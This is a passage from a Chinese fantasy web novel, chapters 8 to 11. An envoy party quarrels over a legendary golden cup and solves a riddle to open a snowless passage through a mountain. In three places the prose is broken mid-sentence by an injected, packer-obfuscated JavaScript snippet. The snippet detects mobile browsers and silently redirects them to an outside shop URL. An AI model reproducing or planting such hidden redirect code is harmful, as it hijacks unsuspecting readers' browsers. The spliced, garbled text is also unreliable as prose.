众人不免觉得口舌生津，不动声色地忽略了先前的隔阂，将自己准备或者找到的食物与弗兰茨交换共享。 “我要。” 卡塔利娜蹲在弗兰茨旁边，眼睛直勾勾地盯着躺在铁盒里的半块火腿肉。 见弗兰茨正要把一碗汤递给别人无暇顾及自己，卡塔利娜也毫不客气，伸手便将温度尚高的铁盒抓住了。 “等一下，还很烫！” 弗兰茨一回头，只觉头皮发麻，连忙将卡塔利娜的手拽了回来。 动作被打断，卡塔利娜默默盯了弗兰茨一会儿，继而虚握了握手，慢吞吞地说：“我要吃肉。” 这不是吃不吃肉的问题，弗兰茨张了张嘴，但见卡塔利娜并没有露出烫到的表情，他没也再说些什么。 取肉，分汤，切下面包，卡塔利娜只从他手中接过肉，大块朵颐起来，全然没有看见其它食物一般。 她是喜好鲜明的肉食主义者。 众人还在用餐，伍德却在这个时候清了清嗓子站起身，严厉地开口了：“向、卡塔利娜，现在我们越来越靠近龙穴了，这意味着地势也就越高，届时我们必然要翻越雪山，你可有什么计划？” 卡塔利娜坐在地上，双手托腮，以一种非常放松的姿态直视伍德的眼睛。 她沉默得太久，眼神又十分直白，伍德被她看得浑身不对劲。他把重心从左脚换到右脚，又从右脚换回左脚，色厉内荏地反问：“你怎么不说话？” 直到悠闲地将最后一口肉吞下，卡塔利娜这才咧嘴一笑：“明天就知道了。” 或许伍德自己还没有意识到，但作为旁观者，弗兰茨觉察出这才不过一天，伍德面对卡塔利娜的态度就从之前的不在乎和利用，变成了现在的谨慎，甚至还有隐约带有一丝惧怕。 既怕她无法控制，更怕她无法预测。 实际地位已悄然翻转，捏着人心的不再是那些会说漂亮话的人。 卡塔利娜笑得轻松，她仍不怎么主动说话，但现在，没有人会再主动挑衅她。 8. 第 8 章 离开了迷雾森林，天气也晴朗不少。 碧蓝的天空下，微风托着云团从雪山前飞过，带来些许寒意。 众人披上了御寒的披风，在卡塔利娜的带领下前行。 “向导，现在还不愿说出你的计划吗？”伍德抻了抻装有珍宝的木箱背带，再一次发问。 他的声音低沉，箱子拍在背上发出闷响。 与往次印象里又大又多的箱子不同，这一次行赏的赏赐以小巧精美为重，这也可能和遇到海难有关。 弗兰茨的视线从伍德背上的木箱移到他的脸上，那张暗红的凹凸不平的脸不知何时已染上了阴郁的颜色。 见卡塔利娜一顾向前直走，伍德的不悦更是加重了几分，他快步上前，握住卡塔利娜的手臂：“够了，你不要以为做了向导就可以为所欲为，你要明白——” 砰—— 伍德的话还没有说完，整个人就已经被卡塔利娜反手钳制，重重地掼倒在一旁的树干上。 力道之大，足以将整棵树砸断！ 一来一回两个动作眨眼间结束，众人错愕，只见伍德躺在一地的断木上呻吟，而他一直不假于人手的木箱也被撞得粉碎。 混乱中，装在木箱里面的珍宝也就此暴露在众人眼前——那赫然是一只纯金打造的杯盏。 咕噜噜—— 外箱粉碎，可这只杯盏却没有受到一丁点损害，它在地上滚动了两下，停在木屑里不动了。 在众人看清楚这只杯盏的那一刻，四周不再是崎岖的山地，繁茂的森林。曼妙轻歌如涨潮的海水般渐起，带有寒意的风化为轻柔飘舞的帷幔，明明已经离开了迷雾森林，众人却再一次生出了陷入美妙梦境的错觉。 此时，恰逢一缕阳光落到杯盏的杯口，金黄色的光立刻由一个点沿杯口流动，旋成一圈耀眼的金环，闪闪发亮。 所有人都下意识地屏住呼吸。 要怎么形容这只金杯的魔力？ 用最优美的语句，请最负盛名的诗人？ 不，没有一种语言能够形容它的奇妙，再华美的赞叹拿到它面前都显得黯然失色。 一但它暴露在空气中，所有人的目光都会被它吸引。 它不像人类能打造出来的工艺品，甚至是善于锻造的矮人也无法打制出如此完美的金杯。 这更像是原初的女神，慷慨地从最夺目的金矿中捏起最纯粹的黄金，用闪电击出的烈火，用秋日凝结的晨露，用无法学习的神技，炼制而成。 没有人不想摩挲它光滑的杯壁，没有人不想拿它品一品佳酿。 “那是、那是‘贝莉的金杯’——” 一个使团成员认出了这枚金杯，失声喃喃道。 咔擦咔擦—— 在众人为金杯失神之际，卡塔利娜踩着一地碎木闪到伍德面前，她探出手，欲将金杯拾起—— “住手！” 伍德顾不上周身的剧痛，飞身将撞向卡塔利娜——好硬！根本撞不动——这个念头从脑海里一闪而过，紧接着，不要让任何人触碰到金杯的想法牢牢地占据了他的头脑。 他咬紧牙关，扯下披风盖在金杯上，往怀里重重一揽，将那流光溢彩的金辉遮蔽得一干二净。 四周又变得一片狼藉起来，其他人顿感怅然若失，不由齐齐一叹。 “你——！” 将金杯收好的伍德怒视着卡塔利娜——差一点、差一点就要出了岔子，他怎能不恼火？！ 愤怒使他的脸像半凝固的岩浆一样起伏不定，而他的话则比他的脸色更加暴烈：“你、完、全、闯、了、大、祸！别把自己当成聪明人！挑拨内部关系，抹黑王国荣誉！这下看清楚了吗？这就是赏赐，不是你臆想的毒药或武器！” 卡塔利娜失神地站在原地，一动不动，半晌，她的眼珠才金杯倒落的地面转到了伍德胸前——那个藏匿了金杯的地方。 伍德气不过她的样子，又觉得自己终于占据了上风，更是肆无忌惮地狠批了一顿，等到他发泄完毕，口干舌燥之时，卡塔利娜的眼珠才稍稍眨了一下。 “……那是什么？”她问道。 她的语调很轻，像被吹到风中的羽毛，飘来飘去找不到落点。 “——是什么？”过了一回儿，卡塔利娜又问了一次。 这一回，她的语调终于变回往常的样子，两颗眼珠也精准地落到伍德脸上。 “……这是赏赐，你这个不知礼数的愚民！” 伍德恶狠狠道。 “你刚刚说‘贝莉的金杯’，”亨特的疑惑打断了这场对峙，她看向刚刚那个失声的使团成员，“贝莉？是那个贝莉吗？” “……对，就是那个贝莉。”使团成员语气复杂地回答道。 一时间，众人都有些沉默。 拜里科斯没有人会不知道贝莉——这个伟大王国的第一任国王，开疆拓土，英明神武；而她在成为国王之前的坎坷岁月，更使每一个拜里科斯人都为之敬佩。 至于贝莉的金杯，更是闻名远扬。 相传，拜里科斯原本是由贝莉与贝奇两兄妹共建，但到了决定谁来治理国家之时两人却争论不休。为了不破坏彼此的感情，他们约定在下一个月圆之时向对方送一件礼物，以此来决定谁是国王。 贝奇与谋士商定，决定要送给贝莉安稳的死亡，而贝莉却用这一个月走访四方，打制了一只纯金的杯盏送给哥哥。 月圆之夜很快来临，还不等贝奇动手，贝莉便将这只金杯献于兄长面前。当这只杯盏出现之时，连月光都变得黯淡，所有人的目光无不聚集其上。 除了贝莉。 贝莉蒙着双眼，手捧金杯在半空中做出倾倒的动作。 第一下，她从杯中倒出了紫红色的葡萄酒，馥郁芬芳的酒香使那片土地至今都以生产酒酿盛名；第二下，她从杯中倒出了数不胜数的金银珠宝，据说建国后的第一笔资金都是这次倒出来的；第三下，她从杯中倒出了无形无色无味的权力，贝奇和他的谋士在那一瞬拔刀相见，最终死于彼此疯狂的打斗中。 贝莉成为了国王，她将这只金杯封存，后来再也没有其他人见过它。 直到这一次，这只金杯被当作行赏的珍宝送往龙穴。 “为什么？”一名格兰德城人质疑道，“我知道，我知道，但是为什么？为什么连‘贝莉的金杯’这么珍贵的宝物都要送出去，我不明白。” “明不明白是你的事，小伙子，”伍德意味深长地看了他一眼，“行赏的荣光才是王国的大事。” 他略微一顿，看向卡塔利娜，讥讽道：“好好带路吧，向导，别再做出那副痴迷的模样了，‘贝莉的金杯’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991977|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不属于你。” . 证实了行赏并非屠龙的事实，伍德趾高气扬地走在前头，忽略了后方大部分人低迷的情绪。 是啊，这确实是行赏，不是什么奇怪的屠龙。 但是，就连贝莉的金杯都被送出去了，这难道不是更像进贡吗？ 沉默着，越来越冷的风呼啦啦穿过，吹来一地萧瑟。 “到了。” 也不知行走了多久，卡塔利娜停了下来，她将众人领到一块石头前，转身看向弗兰茨。 “到什么了？这是哪儿？”一个格兰德城人质疑道，“龙穴？还是什么？我们不是要翻过这座山脉才能抵达龙穴吗？” “就是啊，我们现在连雪山都没有见到呢，怎么就到了？” “可能是这位小姐，哼，自己也不清楚吧，为了加入行赏什么都说得出来，结果现在心虚了干脆就随便指着一块石头就说到了吧。” 小汤普森戏谑，自伍德扳回一城后，他的信心与自负又自然而然地从回心头。他的目光在弗兰茨和卡塔利娜身上来回扫射，其间的讥讽不言而喻。 马前卒登场了，真正的主角要说的话更是关键。 伍德笑笑，拍拍小汤普森的肩膀，劝慰道：“年轻人总是这样，为出风头不惜撒谎。” 然后他转过头看向罗斯，看似商量道：“现在怎么办呢，罗斯副团长？我们总要承担责任的，这样吧，我走前面带大家翻越雪山，你走最后看着这两个家伙，以防他们胡言乱语扰乱军心，也避免有人掉队，如何？” “——不如何。”不等罗斯答复，弗兰茨不悦地走上前，先前的忍耐不是懦弱，现在的反对也不是逞强。 弗兰茨直视伍德反驳：“如此武断，难道这就是一个团长应有的素质吗？您不知道这是什么，又不肯了解，只知道在这里维护自己的权威。 “或许卡塔利娜不是一个出色的向导，您就是一位合格的团长了吗？” 以往看不上的人突然发难，伍德难免怔愣片刻，随后而来的则是被挑衅后更大的怒火：“我不合格？那你又做了什么？弗兰茨·罗兰，你身为驭龙女士的后人，如果你知道的更多，怎么还让我们白白损失了两条人命？他们本可以身披荣光回去，佩斯也不至于这么痛苦！” “您不必如此颠倒黑白，尽管祸水东引是您摆脱责任时惯用的手法，”弗兰茨挥开抵在他胸口的那只手，冷冷地说，“这是无雪密道的入口，您没有听说过吗？对王国行赏最为了解的伍德团长。” 无雪密道？ 那是什么？ 众人疑惑，直至弗兰茨几剑将石头上堆积的植物清理干净，他们才发现这个看似不起眼的大石头，实际上是一块巨大的石壁，上面还隐约刻有什么符号。 “这是什么字？拜里科斯语吗？” “不对，是通用语，这是谁刻的？” “无雪密道难道就在这石壁之后？无雪无雪，意思是我们不用翻越雪山吗？” “我不知道啊，我又不是驭龙女士的后人，这么多年前的事情，我怎么知道。” 众人围了上来，细细研究这块石壁。 热烈的讨论之外，弗兰茨站于人群后方，与同是处于人群之外的卡塔利娜对上了视线。 少时，卡塔利娜慢慢对他咧出一个笑。 9. 第 9 章 弗兰茨默然。 这是一种极为复杂的心情。 无雪密道，它的名称与作用是如此显而易见，但它的存在现在已经没有多少人知道了。 否则从格兰德城出发到龙穴的这段路上，三个闻名的难关就不会是迷雾森林、无尽雪山和彩虹河了。 可卡塔利娜是怎么知道这条密道的？ 她又为什么看着自己，难道是知道、不，难道她笃定他一定会知道这条密道吗？ 还是说她想测试自己是否知道有这样一条密道存在？ 她的目的是什么，如今的结果是她想要的吗？ “罗兰先生，”罗斯在人群喊他，“既然你知道这条密道，不妨前来为大家解惑吧。” 无雪密道—— 他是在家中杂物间里知道这条密道的。 弗兰茨的母亲是驭龙女士梅兰妮尔·杜兰德的幼女，父亲则是老罗兰爵士没有继承权的小儿子。 他们结合的原因弗兰茨不得而知，但他们分开的原因在日益积累的沉默与不合的性格中清晰可见。 母亲离开的那天，她只带走了从驭龙女士那儿继承而来的利剑，其余的东西则被锁进了杂物间，包括一本驭龙女士的随笔手札。 弗兰茨不清楚她为何只带走了那把利剑，但他从那本字迹模糊的手札中了解到的东西，终于在现在派上了用场。 “无雪密道，一条贯穿山脉的通道，使来者无需经受极寒风雪的考验与折磨，”弗兰茨上前，手掌抚过石壁上凸起的铭文和凹下去用来摆放谜底的空槽，“但是，要想进入无雪密道，则要拼对石壁上的字谜。” “拼字谜？这么幼稚？”小汤普森上前两步，打量着石壁上的通用语，“这不是很简单吗？” 不等弗兰茨解释得更清楚一些，他先后移动了几下通用语的文字符号：“铭文上的恐惧？停止？那谜底不就是‘凡心怀恐惧者，至此当止步’？” 轰隆隆—— 在小汤普森松开手的那一瞬，地面之下突然发出几声闷响，众人惊得后退几步，只见石壁扑簌簌落下一地碎石，与此同时石壁开始缓缓向下沉。 “这是怎么回事？” “弄错了？还是、为什么会往下沉？” 下沉了三分之一，石壁停住不动了，这让汤普森有些惊慌——即使他的头脑只能在阿谀奉承上发挥作用，但这明显闯了祸的事实只仅眼睛就能发现。 “诶，你，他这——” 他向左右两侧看去，没有人与他对视，他又去看伍德，结果被狠狠瞪了一眼。 “罗兰先生，我们知道您是驭龙女士的后人，但现在并非展现自我的时刻，”伍德开口了，语气相较之前算得上温和，“解开字谜，帮助大家免受风雪侵袭才是关键。” 弗兰茨看着他暗红的脸，礼貌地笑了笑，片刻，才缓缓道：“我明白您的意思，不过很可惜，驭龙女士并未在她的手札中记录谜底。” “怎么可能？” 弗兰茨此话一出，有人失声反问。 “一本普通的手札，既没有使用特殊文字，也没有设下什么禁制，任何人都可以阅读它。她自然也不会在上面记录关键信息，”弗兰茨解释，“不过，依照她的书写习惯和通用语的特点，我们或许可以推断出答案。” 说完，他的目光便落在了卡塔利娜身上。 这道目光并没有向她寻求意见或者依赖她的意味，是探究，是疑问。 仿佛是在场需要应付的人太多，他便以目光代劳。 ——我是驭龙女士的后人，所以我知道这条密道，那么你呢？ ——既然你知道这条密道，不如也来说说你对谜底的看法？或者说，你本来就知道谜底是什么？ 很好，不是一味的柔软，很有意思。 不过，卡塔利娜也并不惧怕质疑，也不在乎她毫无忌惮的举措所展现出来的疑点。 “有道理。” 她轻巧地回答，把讨论的舞台让给了其余的使团成员和格兰德城人。 “亲王殿下曾提到过，驭龙女士的书写习惯，”议论纷纷的人群当中，罗斯皱起眉头回忆，她曾是殿下的女官，说出来的话自然值得信赖，“她喜欢运用双关，一句话常常有多种含义。好吧，身为后人，罗兰先生你也确实继承了这个特点，但通用语的特点——” 佩斯补充：“简单，易懂，而且字符颠倒摆放，会产生相反的意思。” 小汤普森：“——你们就这样相信他的话吗？一个拜里科斯人，她的谜底为什么用通用语来表现？” 雷东多：“这是唯一的线索，而且双关和字符颠倒，我想，答案应该很接近了。” “恐惧”“停止”，颠倒过来应该是勇往直前。 几乎所有人都想到了这个答案，但鉴于答错了石壁会往下沉，他们犹豫不决。 真的就是这个答案了吗？真的有这么简单吗？ 面面相觑间，罗斯上前了两步。 “答错一次，下沉三分之一，我们应该还有两次机会，”她的手握住了石壁上突起的文字符号，“既然没有想到其它答案，不妨一试。” 说罢，她推动着符号，拼出了与第一句话意思相反的话——唯怀勇毅之心，方得前行之路。 石壁没有移动。 成功了？ 众人屏住呼吸不敢轻举妄动，等待了片刻，在伍德终于忍不住想要上前研究之际，石壁突然又开始往下沉。 又失败了。 众人看着只剩下三分之一的石壁，挫败与焦躁同时袭上心头。 “又错了，现在该怎么办？”有人焦虑地提问。 “早知道直接翻雪山，也好过在这里浪费时间。”也有人不报希望地嘟囔。 真的要翻雪山吗？ 在不知道有无雪密道之前，众人视翻越雪山当作前往龙穴唯一且必要的路径。 可现在，明明有更轻松的方式，却因为不知道谜底导致希望几乎破灭，沉重的情绪和埋怨的想法开始滋生。 毫无头绪地在原地徘徊了几步，伍德挠挠头后又开始跺脚，他看向其余人——他们都因为只剩下最后一次机会而不敢离石壁太近。 不能再拼一次谜底了，他咬牙，现在翻越雪山和再一次失败后翻越雪山的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991978|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差别看似不大，但对人的意志和团体气势的影响可完全不同。 “诸位，”他清清嗓子，“翻越雪山并没有什么可怕的，以往不知道无雪密道的使者不也是从雪山前往龙穴的吗？我们无需畏惧，寒风只会拭去荣誉冠冕上的尘埃，冷雪也只会使其更加闪耀。不要再为未知的谜底烦恼了，我们唯一目的，是行赏！ “而这密道最后一次答对的机会，我们不妨留给后人，以示宽和与鼓励。” 伍德自认在使用语言方面颇具天赋，可是这回，他觉察出似乎有哪里不对。 但未等他想明白，众人就已经整理好行囊，取出翻越雪山时需要的装备，绕过石壁继续向前出发。 “还不走？” 弗兰茨单膝跪地研究石壁，沉思间，熟悉的短句，熟悉的语气从上方传来。 他并不回答，而是反复专研着石壁上的文字符号。 “恐惧”和“停止”，这两个词是没有问题的，但以字面意思回答错了，以相反的意思回答也错了。 双关，驭龙女士喜欢玩文字游戏，“恐惧”这个词在通用语里颠倒过来是“勇气”，可通用语里“勇气”这个词并没有其他独特的含义。 弗兰茨眉头紧锁，一定有什么错过了。 勇气、勇气，他将这个词反复咀嚼，回忆那本手札上是否有什么提示——无关紧要的记事是用拜里科斯语，关于战争和龙，驭龙女士更倾向使用通用语，偶尔间隔几个拜里科斯的词汇。 勇气、勇气，她在记录行赏路途的那几页用拜里科斯语重复写过。 拜里科斯语…… 是拜里科斯语！ 在拜里科斯语中，勇气与真挚同音，那么谜底就是—— 弗兰茨沉着一口气，尽管他并不理解为什么这句话是谜底，但他还是试着将它拼了上去。 轰隆隆—— 石壁再一次发出闷响，尘土飞扬，已经开始向前走的队伍也被声音惊得齐齐回了头。 然而这一回，石壁不再下沉，而是露出一个通道入口——竟然真的成功了！ “他猜到了？！” 不知是谁喃喃了一句，使呆愣在原地的众人活动起来。 他们顾不上团长发话，自发地走了回来。 “罗兰先生，你拼出来的谜底是什么？”雷东多问。 弗兰茨轻声回答：“唯怀真挚之信，方入故交之境。” “故交？” 谜底一出，众人议论纷纷，眼里尽是疑惑与不解。 是啊，明明是行赏，明明是前往龙穴，为何说是故交之境？ 红龙应该要么是属臣，要么是潜在的不安定因素才对，当初的拜里科斯人怎么会以此作为谜底呢？ “这不过是一个普通的谜底，又何必事事与行赏都联系起来？”伍德打断了众人的议论，他看向弗兰茨，又道，“说不定这是驭龙女士自己设定的谜底，她私自将红龙视为故交，却忘了这场‘旅途’的目的所在。” 话毕，众人却跳过附和，陷入了沉默。 过了一会儿，罗斯才提议道:“事不宜迟，我们还是尽快动身吧。” 10. 第 10 章 由于之前拼错了两次谜底，无雪密道的入口显得格外狭小。 众人只能挨个矮下身子，艰难地贴着土地钻进去。 站直身子拍拍尘土，弗兰茨意外地发现密道空间竞不像想象中的那般狭窄，虽然算不上宽敞，却也能让三四人并肩行走。 墙壁上细小的孔隙吹来新鲜的空气，此外，每隔十步，墙上便会镶嵌一枚拳头大小的珠子以供照明。 近百年光阴转瞬即逝，它们仍恪尽职守地为来者照耀前行的路。 “这真是，这条密道修得挺好的……”有人轻声感慨。 确实，只要站在这里，看着眼前笔直整洁的道路，无论是谁都会生出这样一种念头——仿佛当初建造密道的人想在最大能力和范围内为要使用密道的人提供舒适与便捷。 这并不是一条冰冷的、阴暗的、充满机关的密道。 “好了，罗兰先生总算是出了一份应出的力，不过，这并不算什么了不起的大事。”伍德打断了这种异样想法的蔓延，他的语调激昂，“真正的大事正等着诸位去完成呢！” 他手握佩剑，率先走在前头，其余人互相对视一眼，抬腿跟上。 弗兰茨有意放慢了脚步，与队伍最后方闲庭信步的卡塔利娜并肩。 谁也没有主动说话，仿佛都在等对方捺不住好奇先行提问。 “你了解的很多。” 卡塔利娜先开口了，但她的语调，她直视前方的双眼，她游刃有余的态度，都给人一种她没有“输了”的感觉。 她只是想做什么就做什么，想说什么就说什么，不必忍耐，也无需修饰。 这一刻，弗兰茨不由得生出一股挫败感，继而又是艳羡。 如果不是地方不对，他真想转过头来仔仔细细地观察她——究竟是什么样的环境，什么性格的养育者才能培养出这样一个生命？ 路途中，除了偶尔展现出怪力，卡塔利娜通常沉默地行走在人群的边缘。 但这并非被众人孤立的表现，而是她视秩序与权威为无物，秩序与权威也奈何不了她。 “罗兰先生，卡塔利娜女士，”行走间，雷东多不知怎么走到了他们身旁，这个身材消瘦的使团成员正亲切地向他们打着招呼，“这一路上多亏了你们的帮助，不然我们可要受寒受冻了。” “这并不算什么。” 弗兰茨对他微微一笑，卡塔利娜还是不说话。 “两位太谦虚了，有时候过于谦虚反而会被人强占光芒，”雷东多对他们眨眨眼，“等我们从无雪密道里出去，接下来将会遇到彩虹河，对此，驭龙女士有在她的手札上提过应该如何渡过吗？” “那只是一本普通的手札，并不是寻宝笔记或者通关秘籍，她连迷雾森林都没有提到，”弗兰茨仍是微笑，“至于彩虹河的具体情况，我还没有往届使团成员了解得多呢。” “你是身份占了好处，那么你呢？” 两人攀谈时，佩斯也侧耳来听，等他们说完，她也插了进来，目光从弗兰茨扫向卡塔利娜。 佩斯的语气没有最开始失去亲人时那么尖锐，但仍暗藏锋芒：“格兰德城在出入东城门方面管控严格，我的弟弟获得了城主准许，所以知道准备面罩和提神树叶，但即便如此，他也不知道无雪密道的存在。 “向导小姐，身为格兰德城人，你是怎么知道的？” “谁告诉你，我是格兰德城人的？” 卡塔利娜抬起头，面无表情的脸上终于浮现出一丝带有玩味性质的笑。 卡塔利娜仔细地看着眼前这个人，自从她的兄弟离去，她的身体里就住进了两个人。 她不再只为自己而活，因此她承载的重量也比她人多得多，是很可怜的，但是——可怜她的人里又不包括卡塔利娜：“又是谁规定，只有格兰德城人才能在岛上行动？” 既然要想对龙做些什么，那么必然要付出相应的东西，至少也要抱有这样的决心。 而不是像前面那个想要掩饰自己，却表现得十分拙劣的男人一样，只想获得好处。 “况且，”话向来很少的卡塔利娜又开口了，“你对我这么大敌意，却不想想是谁让你来的？这么多回‘行赏’，死了不少人，你们怎么还如此积极地参加？” 佩斯很错愕，但她又觉得无法反驳。 汹涌的情绪像潮水般将要向外倾泄，却被紧闭的双唇阻拦，只能在心底来回震荡，带着那些固有的观念一起振动起来。 . 在场景不变的密道里前行，众人不清楚具体时间，也不知道还剩下多少路要走，倦怠的情绪很快就拖住了他们的后脚跟。 很快，小声的交流也被杂乱的脚步声代替了。 有人试图通过墙壁上细小的孔隙来确定位置，但山体厚实，从孔隙里钻进来的只有外面寒冷的风，吹得颇为昏沉的头脑突然精神一振。 “到底还要走多久？”小汤普森大声地抱怨。 他调解心态的能力比旁人强上不少，故而直接忘记了一路上出过的丑和犯过的错误。 又因为在密道不用直接受到风雪的侵袭，所以他可以大胆地假设与吹捧：“我觉得，无雪密道固然提供了便利，但却有损于我们建立坚强的意志与决心。没有什么比从冰天雪地历练而来的勇士们更值得夸赞的了，行赏的路途注定艰难，磨难更显我们的荣光。如果能重来，我宁愿选择征服无尽雪山——啊！你在做什么？” 宏图远志还未发表完，他的肩膀就被重重推搡了一下，差点没摔倒在地。 小汤普森回头怒视，推他的人竟是亨特，一个沾了使团荣光的格兰德城人。 “走路就该好好走，知道吗？”亨特对他哼哼一笑，又伸出手推了一下他另一边肩膀，“在密道里走路还要人扶，真上了雪山该不会要人抬吧？” “你、你再乱说些什么？” 小汤普森抻直脖子，正准备和这个不知好歹的格兰德城人理论理论，但当他看到她结实有力的臂膀和戏谑的眼神之后，那些话突然又和他的脑袋一样缩了回去。 “你、你、你。” 亨特笑嘻嘻地学了两句，与身旁的另一个格兰德城人相视一眼，依次从小汤普森旁边擦肩而过，大步向前走去。 来自女人的羞辱好像总是更能挑起男人不必要的自尊心与记恨。 小汤普森涨红了脸，他站在原地，恶狠狠地瞪着亨特的背影，接着又剜了一眼从他身边经过的弗兰茨，结果并没有引起其他人的注意。 除了伍德。 尽管他昂首在前，可出于对团体的责任心，伍德还是将一部分宝贵的注意力留在了后方，自然也听到了从后方传来的争执。 好吧，虽然小汤普森的话有些幼稚与不切实际，但格兰德城人的冒犯却十分没有必要。 这种不包容的嘲笑，不仅不利于整个队伍的团结，更让伍德意识到，某种氛围正在群体中蔓延，某种东西正慢慢离他而去，即将转移到旁人身上。 这是伍德绝不容许发生的。 要怎么做呢？ 他默默思考，巧妙的语言似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991979|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎不再那么奏效，那强硬的手段呢？ 伍德护紧了胸前的金杯，迷雾森林里做过的美梦在此刻又在脑海里重现。他相信那不只是一场幻觉，更是一个即将实现的预言。 因此这一次行赏，一切都必须在他的掌控之中，任何会导致失败的因素都不能出现。 就像、就像…… 他回想起在迷雾森林中被弗兰茨从预言中唤醒后所产生的痛苦，是，他承认弗兰茨在关键时刻救了他一命，但他并非没有自信不能靠自己从迷雾中清醒。 更何况后面发生的事情让他觉察到，弗兰茨并不是一个会安分守己的人，他当时焦急的表情之下必然藏着出风头的野心。 显而易见，他想要和他带来的那个红头发女人一起，把光芒从自己身上这里夺走。 这样的事情，绝对不能发生！ 砰—— 伍德尚在谋划中，一声惊响突然从身后传来。 “你在做什么？！” 一回头，正见走在后方的罗斯低声呵斥。 众人惊愕地看去，只见落在队伍最后方的小汤普森耸了耸肩，脚边则一枚摔碎的珠子。 见众人看了过来，小汤普森无辜道：“我只是很好奇墙壁上的珠子，想拿一颗下来研究一下，没有什么问题吧？” 没有脑子的蠢货。 伍德厌烦地闭了闭眼，他怎会不知小汤普森此番举动的目的？ 可这样拙劣地吸引他人目光的手段又有什么用处？ 不出意料，亨特低低的笑声传了过来。 毫无水平，毫无用处。 伍德本就被大事所扰，小汤普森现在又做出如此丢人现眼的举动，他实在没有必要再容忍一个只会增添麻烦的傻瓜。 他吸了吸气，转身斥责道：“刚刚你没有听见亨特小姐的话吗？走路就该好好走，别像一个小丑惹人发笑，明白吗？” . 在无声且漫长的行进中，一点白莹莹的微光忽然在远处闪烁。 虽然还不能确定那是否就是出口的光亮，但这总算带给众人一丝轻松的期盼，小声的交谈也重新在密道里响起。 刚才伍德突然发难，将向来偏爱的小汤普森好一顿训斥，情绪化的语言与阴晴不定的态度让所有人都暗暗一惊。 亨特与几个格兰德城人对视几眼。 最初他们刚加入使团的时候就被伍德来了一个下马威，刚刚又发生这样的事情，这自然使得他们对伍德生出许多嫌隙。 格兰德城人心生不满，毫无防备之下就被狠狠训斥的小汤普森更是茫然无措、顿感不安、羞恼万分、心生怨怼。 那是指责吗？还是包含失望？ 我只不过是做了和以前一样的事情，为什么得到的是训斥？ 小汤普森怨愤地想，到底是什么导致他态度的转变？ 是事，还是人？ 事？ 在小汤普森看来，抠挖一颗以供照明的珠子，又不是耽误行程，这算不上什么严重的大事。往前追溯，如果是拼错谜底，可他们也已经进来，伍德难道会揪着这一点小事不放？ 绝对不是某件事情的影响。 那就是人。 某个人，让伍德觉得比他更有用了。 在受到上级重视这方面，小汤普森可谓是深谙其道，颇有心得。 能力不一定是最重要的，是否让人舒心才是关键。 这个被伍德新重视的人是谁呢？ 小汤普森缀在队伍的尾巴，阴沉地观察。 11. 第 11 章 密道远处的光点渐渐变大了，众人加快了脚步，带着希冀向前跑去。 小汤普森仍在队伍的最后方，他有意将脚步放慢，与众人的距离拉远。 但在即将找到出口的时刻，没人会考虑到他脆弱敏感的心情，他自己显然也没有足够的能力调节心态，只会将一切归因于弗兰茨身上。 弗兰茨，当然是弗兰茨的错。 毕竟，卡塔利娜与亨特，他秉持着不轻易与女士置气的态度，以及现实力量差距，小汤普森选择放她们一马。 男士之中，只有弗兰茨，顶着驭龙女士后人的身份，先前假装隐忍，实际爱出风头，极易让人觉得他无辜。唯有小汤普森本人，识破了他的伪装。 看我怎么拆穿你。 小汤普森心中冷笑，最终还是加快步伐跟上队伍。 . 终于抵达了光亮处，众人却失望地发现，这不过是密道墙壁上破损处漏出的一个拳头大小的空隙。 日光不经意从中落下少许，又被墙壁上的珠子不断反射，才让从远处而来的大家误以为是密道出口的微光。 “什么时候才能出去？我真的好累。”有人轻声叹气。 也有人提议：“要不我们干脆把这个洞凿大一点爬出去算了？” “这个方法并不可行，”弗兰茨站在破损处观察片刻，“我们无法确定现在正处于什么位置，吹进来的风还是很冷，从这里出去并不安全。” “说着为大家着想的话，其实就是个胆小鬼，”找到了辩驳的好机会，小汤普森急匆匆地冲了上来，一只手毫不顾忌地撑在墙壁上，“让大家进入密道的是你，害得大家走不出去的是你。现在有出去的办法不试试怎么行？” 他下定决心，既要展示自己，又要打击弗兰茨。 因此不等所有人反应过来，小汤普森撑在墙上的手往前一挪，意图抽出一块较为松动的砖头，另一只手则握着佩剑配合着在墙上撬动。 “你也太鲁莽了吧！？这样会伤到别人的！” 由于先前的事故，佩斯对这些涉及安全问题的举动非常重视，见小汤普森莽撞行事，她想要上前阻拦。 遗憾的是，汤普森以为她也在嘲讽他，于是他一只手胡乱挥舞了几下佩剑，阻止旁人靠近，另一边也加快了手底下的速度。 “汤普森——” 伍德皱眉，也想上前斥责，可随即落在他面前的碎石让他的脚步停了下来。 很快，随着小汤普森莫名其妙的动作，有些没有触碰到的墙壁也开始慢慢震动起来。 